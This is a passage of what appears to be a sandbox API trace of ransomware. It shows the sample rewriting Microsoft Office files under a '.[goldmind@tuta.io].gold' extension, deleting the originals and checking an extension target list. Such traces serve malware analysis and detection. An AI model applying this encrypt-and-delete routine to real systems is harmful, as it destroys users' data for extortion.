(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.241] lstrlenW (lpString=".jpg") returned 4 [0104.241] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.241] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0104.241] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0104.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.253] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=57248) returned 1 [0104.253] CloseHandle (hObject=0x3b8) returned 1 [0104.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 0x20 [0104.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.253] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.254] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.254] GetLastError () returned 0x0 [0104.254] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0104.256] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0104.258] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.258] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.258] SetEndOfFile (hFile=0x19c) returned 1 [0104.258] CloseHandle (hObject=0x19c) returned 1 [0104.258] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.258] SetEndOfFile (hFile=0x3b8) returned 1 [0104.260] CloseHandle (hObject=0x3b8) returned 1 [0104.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 1 [0104.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.262] lstrlenW (lpString=".doc") returned 4 [0104.262] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0104.262] lstrlenW (lpString=".docx") returned 5 [0104.262] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0104.263] lstrlenW (lpString=".pdf") returned 4 [0104.263] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString=".xls") returned 4 [0104.263] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0104.263] lstrlenW (lpString=".xlsx") returned 5 [0104.263] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0104.263] lstrlenW (lpString=".ppt") returned 4 [0104.263] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString=".zip") returned 4 [0104.263] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0104.263] lstrlenW (lpString=".rar") returned 4 [0104.263] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString=".bz2") returned 4 [0104.263] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString=".7z") returned 3 [0104.263] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString=".dbf") returned 4 [0104.263] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString=".1cd") returned 4 [0104.263] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString=".jpg") returned 4 [0104.263] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.263] lstrlenW (lpString=".doc") returned 4 [0104.263] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString=".docx") returned 5 [0104.263] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0104.263] lstrlenW (lpString=".pdf") returned 4 [0104.263] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString=".xls") returned 4 [0104.263] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0104.263] lstrlenW (lpString=".xlsx") returned 5 [0104.263] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0104.263] lstrlenW (lpString=".ppt") returned 4 [0104.263] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0104.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.264] lstrlenW (lpString=".zip") returned 4 [0104.264] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0104.264] lstrlenW (lpString=".rar") returned 4 [0104.264] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0104.264] lstrlenW (lpString=".bz2") returned 4 [0104.264] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0104.264] lstrlenW (lpString=".7z") returned 3 [0104.264] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0104.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.264] lstrlenW (lpString=".dbf") returned 4 [0104.264] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0104.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.264] lstrlenW (lpString=".1cd") returned 4 [0104.264] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0104.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0104.264] lstrlenW (lpString=".jpg") returned 4 [0104.264] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0104.264] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0104.264] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0104.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.265] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1098) returned 1 [0104.265] CloseHandle (hObject=0x3b8) returned 1 [0104.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 0x20 [0104.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.265] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.265] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.266] GetLastError () returned 0x0 [0104.266] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x44a, lpOverlapped=0x0) returned 1 [0104.267] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x450, lpOverlapped=0x0) returned 1 [0104.268] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.269] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0104.269] SetEndOfFile (hFile=0x19c) returned 1 [0104.269] CloseHandle (hObject=0x19c) returned 1 [0104.269] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.269] SetEndOfFile (hFile=0x3b8) returned 1 [0104.271] CloseHandle (hObject=0x3b8) returned 1 [0104.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 1 [0104.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".doc") returned 4 [0104.272] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".docx") returned 5 [0104.272] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0104.272] lstrlenW (lpString=".pdf") returned 4 [0104.272] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".xls") returned 4 [0104.272] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.272] lstrlenW (lpString=".xlsx") returned 5 [0104.272] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0104.272] lstrlenW (lpString=".ppt") returned 4 [0104.272] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".zip") returned 4 [0104.272] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.272] lstrlenW (lpString=".rar") returned 4 [0104.272] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".bz2") returned 4 [0104.272] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".7z") returned 3 [0104.272] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".dbf") returned 4 [0104.272] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".1cd") returned 4 [0104.272] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".jpg") returned 4 [0104.272] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.272] lstrlenW (lpString=".doc") returned 4 [0104.272] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".docx") returned 5 [0104.272] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0104.272] lstrlenW (lpString=".pdf") returned 4 [0104.272] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.272] lstrlenW (lpString=".xls") returned 4 [0104.272] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.272] lstrlenW (lpString=".xlsx") returned 5 [0104.272] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0104.272] lstrlenW (lpString=".ppt") returned 4 [0104.272] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.273] lstrlenW (lpString=".zip") returned 4 [0104.273] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.273] lstrlenW (lpString=".rar") returned 4 [0104.273] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.273] lstrlenW (lpString=".bz2") returned 4 [0104.273] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.273] lstrlenW (lpString=".7z") returned 3 [0104.273] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.273] lstrlenW (lpString=".dbf") returned 4 [0104.273] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.273] lstrlenW (lpString=".1cd") returned 4 [0104.273] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0104.273] lstrlenW (lpString=".jpg") returned 4 [0104.273] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.273] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0104.273] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0104.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.274] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=66992) returned 1 [0104.274] CloseHandle (hObject=0x3b8) returned 1 [0104.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 0x20 [0104.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.274] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.274] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0104.275] GetLastError () returned 0x0 [0104.275] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x105b0, lpOverlapped=0x0) returned 1 [0104.278] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x105c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x105c0, lpOverlapped=0x0) returned 1 [0104.279] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.279] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0104.279] SetEndOfFile (hFile=0x19c) returned 1 [0104.279] CloseHandle (hObject=0x19c) returned 1 [0104.279] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.279] SetEndOfFile (hFile=0x3b8) returned 1 [0104.707] CloseHandle (hObject=0x3b8) returned 1 [0104.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 1 [0104.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.709] lstrlenW (lpString=".doc") returned 4 [0104.709] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0104.709] lstrlenW (lpString=".docx") returned 5 [0104.709] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0104.709] lstrlenW (lpString=".pdf") returned 4 [0104.709] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".xls") returned 4 [0104.710] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0104.710] lstrlenW (lpString=".xlsx") returned 5 [0104.710] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0104.710] lstrlenW (lpString=".ppt") returned 4 [0104.710] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".zip") returned 4 [0104.710] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0104.710] lstrlenW (lpString=".rar") returned 4 [0104.710] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".bz2") returned 4 [0104.710] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".7z") returned 3 [0104.710] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".dbf") returned 4 [0104.710] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".1cd") returned 4 [0104.710] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".jpg") returned 4 [0104.710] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".doc") returned 4 [0104.710] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".docx") returned 5 [0104.710] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0104.710] lstrlenW (lpString=".pdf") returned 4 [0104.710] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".xls") returned 4 [0104.710] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0104.710] lstrlenW (lpString=".xlsx") returned 5 [0104.710] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0104.710] lstrlenW (lpString=".ppt") returned 4 [0104.710] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.710] lstrlenW (lpString=".zip") returned 4 [0104.710] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0104.710] lstrlenW (lpString=".rar") returned 4 [0104.710] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0104.710] lstrlenW (lpString=".bz2") returned 4 [0104.710] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0104.711] lstrlenW (lpString=".7z") returned 3 [0104.711] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0104.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.711] lstrlenW (lpString=".dbf") returned 4 [0104.711] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0104.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.711] lstrlenW (lpString=".1cd") returned 4 [0104.711] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0104.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0104.711] lstrlenW (lpString=".jpg") returned 4 [0104.711] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0104.711] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0104.711] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0104.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.774] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6573424) returned 1 [0104.774] CloseHandle (hObject=0x188) returned 1 [0104.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0x20 [0104.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 